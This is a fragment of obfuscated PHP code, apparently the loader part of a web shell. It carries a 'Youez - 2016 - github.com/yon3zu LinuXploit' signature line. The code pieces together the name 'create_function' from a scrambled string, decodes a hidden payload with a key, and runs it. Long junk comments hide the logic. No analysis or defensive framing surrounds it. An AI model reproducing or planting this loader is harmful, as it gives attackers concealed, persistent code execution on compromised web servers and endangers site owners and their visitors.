   $jleDGpAr2998 .= $BRwVmysW2101[$U];
}
foreach([8,9,29,29,23,32] as $U){
   $cIddYGbn5025 .= $BRwVmysW2101[$U];
}

/*DkzzkRoRavjENnJSHkMltGROjrWfPKzrvDybOmtpdGhLcanvVnJXuLTvJmQwBhZegprXlbshakYmlgKrdJycojPxdAFghYtkLvemCkksQhJgnHaHfziBcbESqhmkGhGK*/

$U = $cIddYGbn5025('n'.'o'.'i'.''.'t'.'c'.''.''.''.'n'.'u'.'f'.''.''.'_'.'e'.''.''.''.''.'t'.''.''.''.'a'.'e'.'r'.'c');
$s = $U("/*JWTjickH9759*/", $jleDGpAr2998( s8YuW($jleDGpAr2998($zGNBGGTO5697), "CAsQWztb2419")));
$s();

/*kUKVNLWWAzotjAkraIKtJnmGwiNIYLNDBNjXRHBVdjMbZNouOkhFkSOOwDiykINQNZCtOVamAodbIulQwgxlERjpprwJqYHwSFPiFEsXQLovkucGYwGkSjykcyEnpIvw*/

Youez - 2016 - github.com/yon3zu
LinuXploit